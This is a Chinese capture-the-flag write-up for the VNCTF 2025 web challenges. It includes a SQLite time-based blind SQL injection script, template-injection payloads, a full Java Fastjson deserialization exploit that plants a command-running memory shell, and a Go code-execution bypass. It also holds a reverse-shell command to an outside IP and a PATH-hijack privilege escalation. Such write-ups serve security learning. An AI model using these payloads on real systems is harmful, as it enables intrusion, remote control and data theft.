VNCTF 2025 web wp

Web3看到路径穿越下key伪造jwt,也绕过沙箱弹到shell了,就剩一个提权。但这几天比较累,到后面实在是熬不动了,睡觉去了。今早起来看到环境变量提权的可能,但是最后还是没跑赢时间,导致差一题差一点就web方向第2了。

web单方向最终第10,我是前10里面唯一一个只出了三道题的。也许遗憾真的总是贯穿人生始终吧。

奶龙回家

这题我一血。感觉是最简单的一道。我JavaGuide燃尽了才解出来,这个题十分钟就出了,最后JavaGuide解是这个的两倍。绷。

首先测SQL注入闭合的方式。1"发现回显“账号密码错误!!”,1'发现回显“好像发生了某种错误??”。到这里可以确诊是sql注入。

接下来burp fuzz一下。过滤了空格,sleep,or,等于号这些。但是都还好。空格可以/**/代替。or其实根本不需要,直接用and就行,等于号的话用大于小于代替,sleep这个更是幽默——他是sqlite(我试的时候发现对大小写敏感我大概就猜到了),sqlite里没有sleep函数((((这里我们使用最经典的randombolb函数延时,逐字符爆破username和password即可

那么大概思路就是一个sqlite的时间盲注。

先试payload

1'/**/or/**/(case/**/when(2>1)/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*

发现明显的时间延迟。

一眼顶针了,后面就是经典的时盲二分法。直接可以拿网上的脚本搓出来。

https://www.freebuf.com/articles/network/324785.html

抄脚本下来,由于这里靶机比较卡,我们增大randombolb的参数让他多sleep一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
url = 'http://node.vnteam.cn:46709/login'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
time.sleep(0.2)
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
#把payload里password换成username打username
datas = {
"username":"1",
"password": payload
}
# print(datas)
start_time=time.time()
res = requests.post(url=url,json=datas)
end_time=time.time()
spend_time=end_time-start_time
if spend_time>=0.4: #这里需要调一下。要先跑几次必会延迟的请求测试一下平均延时。
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
print('\n'+bytes.fromhex(flag).decode('utf-8'))

由上,我们爆破出username为nailong,password为woaipangmao114514

登录获得flag

学生姓名登记系统

由“单文件框架”猜到是bottle。

翻阅bottle的开发手册,可以看到他渲染templete的模板引擎叫SimpleTemplate,手册如下:

https://www.osgeo.cn/bottle/stpl.html

我们可以看到有:

通过测试如下payload,我们确认是bottle框架:

1
2
{{setdefault('a','b')}}
{{a}}

输出:

可以看到我们成功定义了变量a的值为”b”。

通过fuzz可以看到,对于单行有23的长度限制。因此我们的基本思路是采用变量赋值的办法把payload拆成多行,最后再拼到一起即可。

然而我们不得不发现,setdefault有点太长了,光是{{setdefault('a','b')}}这样的payload都已经极限23个字符了。根本无法实现最后的拼接。

于是我们接着去看代码。

可以发现,我们不能直接用赋值符号=来进行赋值。SimpleTemplate不能正确解析{{a=”b”}}这种语句。

我们可以看到python版本为3.12,而自从python3.8之后,python引入了一种新的赋值语句:海象运算符。

https://zhuanlan.zhihu.com/p/351140647

我们可以使用{{a:=”b”}}的语句来赋值吗?

1
2
{{a:="b"}}
{{a}}

由此特性易得payload:

1
2
3
4
5
6
7
{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()}}
{{e:=d[154]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}

在环境变量里找到flag

JavaGuide

ObjectInputStream(反序列化)输入数据可控,同时引入Fastjson依赖。那么题其实就是打fastjson。但是,是高版本的,重写了resolveClass,禁止了TemplatesImpl,直接把RCE的终点砍废了。

因此我们使用SignedObject类打二次反序列化,通过注入java内存马的方式RCE。

此事在CISCN 2024决赛中亦有记载:https://xz.aliyun.com/news/15977

有一篇几乎完全重合的文章:https://xz.aliyun.com/news/12052

跟着打就完了。

链子:hashMap2.readObject -> eventListenerList.readObject -> UndoManager.toString -> Vector.toString -> JSONArray1.toString -> SignedObject.getObject -> hashMap1.readObject->XString.equals -> JSONArray.toString -> TemplatesImpl.getOutputProperties

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import com.alibaba.fastjson.JSONArray;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.bind.DatatypeConverter;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.Vector;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.CtNewConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;
public class EXP {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
} clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz.toBytecode();
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);

return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static void main(String[] args) throws Exception{

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("whoami")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());

HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
Class clazz=h2.getClass();
Field transformerdeclaredField = clazz.getDeclaredField("target");
transformerdeclaredField.setAccessible(true);
transformerdeclaredField.set(h2,new XString("xxx"));

HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(templates,hashMap);

KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(hashMap1,privateKey,signingEngine);

JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonArray1);
setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

HashMap hashMap2 = new HashMap();
hashMap2.put(vector,eventListenerList);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap2);
objectOutputStream.close();

byte [] bytes=byteArrayOutputStream.toByteArray();
String base64encode= DatatypeConverter.printBase64Binary(bytes);
BufferedWriter bufferedWriter=new BufferedWriter(new FileWriter("Ser3.bin"));
bufferedWriter.write(base64encode);
bufferedWriter.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();

}
}

Gin

嗨,结束时间10:00,嗨。为什么不肯多给我一个小时呢?

是LamentXU最爱的纯白盒审计题。

首先很明显就能看到一个路径穿越,有一个任意下载的洞:

显然,我们可以通过/download?filename=../config/key.go拿到jwt的secret和time。

1
2
3
4
5
6
7
8
package config

func Key() string {
return "r00t32l"
}
func Year() int64 {
return 2025
}

接着去看jwt的部分。

拿到生成密钥的逻辑。我们整个在线go环境跑一遍:https://www.jyshare.com/compile/21/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package main

import "fmt"
import "math/rand"

func GenerateKey() string {
rand.Seed(2025)
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l")
return key
}

func main() {
fmt.Println(GenerateKey())
}

拿到key。

接下来就是RCE部分。基本上就是任意RCE,waf如下:

不允许你导入os/exec。然而,这里的正则表达式只匹配第一个import,令人忍俊不禁。

传入code为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package main

import (
"fmt"
)
import (
"os/exec"
)

func main() {
cmd := exec.Command("/bin/bash", "-c", "ls")
out, err := cmd.CombinedOutput()
fmt.Println(out)
fmt.Println(err)
}

成功执行。

直接cat /flag

发现输出VNCTF2025!!!。假flag(我可*你的吧)。

接下来就是提权

看root权限的文件:find / -perm -u=s -type f 2>/dev/null

可以看到有一个/…/Cat意义不明。

利用下载key.go的同款方法下载Cat。我们尝试将Cat利用cp命令复制到web目录。

1
cp /.../Cat Cat

随后/download?filename=../Cat

IDA逆向,如下:

发现这里是用的cat /flag而不是/bin/cat /flag。可以环境变量劫持。

(然后比赛结束了,大哭)

有点麻烦,先弹个shell吧。

1
2
3
4
5
6
7
8
9
10
11
12
package main
import (
"fmt"
)
import (
"os/exec"
)
func main() {
cmd := exec.Command("/bin/bash", "-c", "bash -i >& /dev/tcp/101.43.48.199/13311 0>&1")
out, err := cmd.CombinedOutput()
fmt.Println(out)
fmt.Println(err) }

注意!!!不要bp发包,用浏览器直接发!!!这破地方坑死我了,要不是我一直用bp我不会卡这么久。

/tmp目录可写,直接写一个/tmp/cat然后把PATH改过去,这样他在cat /flag的时候执行的就是我们/tmp下的那个cat脚本。

我们直接写个shell进去:

1
echo -e '#!/bin/bash\n/bin/bash' > /tmp/cat

赋予执行权限:

1
chmod 777 /tmp/cat 

导入到环境变量:

1
export PATH=/tmp:$PATH

然后运行:

1
/.../Cat

劫持成功~

读取/root下的flag(不能用cat,cat被劫持了,可以用/bin/cat)